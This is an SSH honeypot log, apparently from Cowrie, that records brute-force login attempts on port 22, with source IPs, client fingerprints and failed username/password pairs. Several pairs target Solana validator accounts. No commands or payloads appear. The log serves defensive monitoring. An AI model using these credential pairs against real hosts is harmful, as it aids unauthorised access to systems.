{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:13.083025Z","src_ip":"154.221.28.214","session":"4b680cb1f567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"1234","message":"login attempt [testftp/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:13.917239Z","src_ip":"154.221.28.214","session":"4b680cb1f567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:15.119648Z","src_ip":"154.221.28.214","session":"4b680cb1f567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56474,"dst_ip":"159.203.135.109","dst_port":22,"session":"19619cc570a2","protocol":"ssh","message":"New connection: 195.178.110.218:56474 (159.203.135.109:22) [session: 19619cc570a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:39.734100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:39.738436Z","src_ip":"195.178.110.218","session":"19619cc570a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:39.818072Z","src_ip":"195.178.110.218","session":"19619cc570a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:40.056251Z","src_ip":"195.178.110.218","session":"19619cc570a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:41.137789Z","src_ip":"195.178.110.218","session":"19619cc570a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41476,"dst_ip":"159.203.135.109","dst_port":22,"session":"a008422ba38d","protocol":"ssh","message":"New connection: 193.32.162.145:41476 (159.203.135.109:22) [session: a008422ba38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:06.950615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:06.992630Z","src_ip":"193.32.162.145","session":"a008422ba38d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:07.065337Z","src_ip":"193.32.162.145","session":"a008422ba38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"solana","message":"login attempt [validator/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:07.452929Z","src_ip":"193.32.162.145","session":"a008422ba38d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:08.554663Z","src_ip":"193.32.162.145","session":"a008422ba38d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":36528,"dst_ip":"159.203.135.109","dst_port":22,"session":"41cfa4dc09cd","protocol":"ssh","message":"New connection: 2.57.122.96:36528 (159.203.135.109:22) [session: 41cfa4dc09cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:44.290721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:44.295199Z","src_ip":"2.57.122.96","session":"41cfa4dc09cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:44.399255Z","src_ip":"2.57.122.96","session":"41cfa4dc09cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"euler","message":"login attempt [ubuntu/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:44.717582Z","src_ip":"2.57.122.96","session":"41cfa4dc09cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:05:45.838072Z","src_ip":"2.57.122.96","session":"41cfa4dc09cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.5","message":"Connection lost after 301.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:06:05.220314Z","src_ip":"124.128.221.98","session":"ce3307ee5840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51446,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e178d56ce7","protocol":"ssh","message":"New connection: 195.178.110.218:51446 (159.203.135.109:22) [session: 96e178d56ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:06:20.443058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:06:20.447539Z","src_ip":"195.178.110.218","session":"96e178d56ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:06:20.525802Z","src_ip":"195.178.110.218","session":"96e178d56ce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:06:20.762239Z","src_ip":"195.178.110.218","session":"96e178d56ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:06:21.843897Z","src_ip":"195.178.110.218","session":"96e178d56ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60734,"dst_ip":"159.203.135.109","dst_port":22,"session":"94f37bda79a0","protocol":"ssh","message":"New connection: 193.32.162.145:60734 (159.203.135.109:22) [session: 94f37bda79a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:18.987602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:18.992308Z","src_ip":"193.32.162.145","session":"94f37bda79a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:19.092463Z","src_ip":"193.32.162.145","session":"94f37bda79a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"solana","message":"login attempt [node/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:19.391733Z","src_ip":"193.32.162.145","session":"94f37bda79a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:20.495377Z","src_ip":"193.32.162.145","session":"94f37bda79a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37280,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f09899d3059","protocol":"ssh","message":"New connection: 162.120.6.20:37280 (159.203.135.109:22) [session: 9f09899d3059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:45.861279Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:45.931937Z","src_ip":"162.120.6.20","session":"9f09899d3059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37292,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e4f48585ffb","protocol":"ssh","message":"New connection: 162.120.6.20:37292 (159.203.135.109:22) [session: 7e4f48585ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:45.998505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:46.003150Z","src_ip":"162.120.6.20","session":"7e4f48585ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:46.073054Z","src_ip":"162.120.6.20","session":"7e4f48585ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Adm1nPassw0rd!2025","message":"login attempt [admin/Adm1nPassw0rd!2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:46.283493Z","src_ip":"162.120.6.20","session":"7e4f48585ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:47.354118Z","src_ip":"162.120.6.20","session":"7e4f48585ffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":36194,"dst_ip":"159.203.135.109","dst_port":22,"session":"12f1551a9bf2","protocol":"ssh","message":"New connection: 154.221.28.214:36194 (159.203.135.109:22) [session: 12f1551a9bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:52.345861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:52.350407Z","src_ip":"154.221.28.214","session":"12f1551a9bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:52.556166Z","src_ip":"154.221.28.214","session":"12f1551a9bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fiscal","password":"12345678","message":"login attempt [fiscal/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:53.409961Z","src_ip":"154.221.28.214","session":"12f1551a9bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:07:54.618028Z","src_ip":"154.221.28.214","session":"12f1551a9bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53722,"dst_ip":"159.203.135.109","dst_port":22,"session":"04cf4743395f","protocol":"ssh","message":"New connection: 2.57.122.96:53722 (159.203.135.109:22) [session: 04cf4743395f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:08:48.916131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:08:48.952880Z","src_ip":"2.57.122.96","session":"04cf4743395f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert